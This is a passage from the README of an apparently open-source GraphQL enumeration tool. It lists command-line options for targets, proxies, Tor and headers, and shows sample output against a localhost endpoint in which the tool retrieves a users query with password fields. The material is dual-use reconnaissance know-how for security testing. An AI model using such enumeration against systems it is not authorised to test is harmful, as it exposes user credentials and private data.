    python3 graphicator.py --file file.txt

    The file should contain one URL per line as such:

    http://target1.tld/graphql
    http://sub.target2.tld/graphql
    http://subxyz.target3.tld:8080/graphql

    Using a Proxy

    You may connect the tool with any proxy.

    Connect to the default burp settings (port 8080)

    python3 graphicator.py --target target --default-burp-proxy

    Connect to your own proxy

    python3 graphicator.py --target target --use-proxy

    Connect via Tor

    python3 graphicator.py --target target --use-tor

    Using Headers

    python3 graphicator.py --target target --header "x-api-key:60b725f10c9c85c70d97880dfe8191b3"

    Enable Verbose

    python3 graphicator.py --target target --verbose

    Enable Multi-threading

    python3 graphicator.py --target target --multi

    Disable warnings for insecure and self-signed certificates

    python3 graphicator.py --target target --insecure

    Avoid using cached results

    python3 graphicator.py --target target --no-cache

    Example

    python3 graphicator.py --target http://localhost:8000/graphql --verbose --multi

    _____ __ _ __
    / ___/____ ___ _ ___ / / (_)____ ___ _ / /_ ___ ____
    / (_ // __// _ `// _ \ / _ \ / // __// _ `// __// _ \ / __/
    \___//_/ \_,_// .__//_//_//_/ \__/ \_,_/ \__/ \___//_/
    /_/

    By @fand0mas

    [-] Targets: 1
    [-] Headers: 'Content-Type', 'User-Agent'
    [-] Verbose
    [-] Using cache: True
    ************************************************************
    0%| | 0/1 [00:00<?, ?it/s][*] Enumerating... http://localhost:8000/graphql
    [*] Retrieving... => query {getArticles { id,title,views } }
    [*] Retrieving... => query {getUsers { id,username,email,password,level } }
    100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 35.78it/s]
    $ cat reqcache-queries/9652f1e7c02639d8f78d1c5263093072fb4fd06c.query 
    query {getUsers { id,username,email,password,level } }

    Output Structure

    Three folders are created:

    • reqcache: The response of each valid query is stored in JSON format
    • reqcache-intro: All introspection queries are stored in a separate file in this directory
    • reqcache-queries: All queries are stored in a separate file in this directory. The filename of each query will match with the corresponding filename in the reqcache directory that holds the query's response.

    The filename is the hash which takes account the query and the url.

    License & EULA

    Copyright 2023 Cybervelia Ltd

    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

    Maintainer

    The tools has been created and maintained by (@fand0mas).

    Contribution is also welcome.



    ❌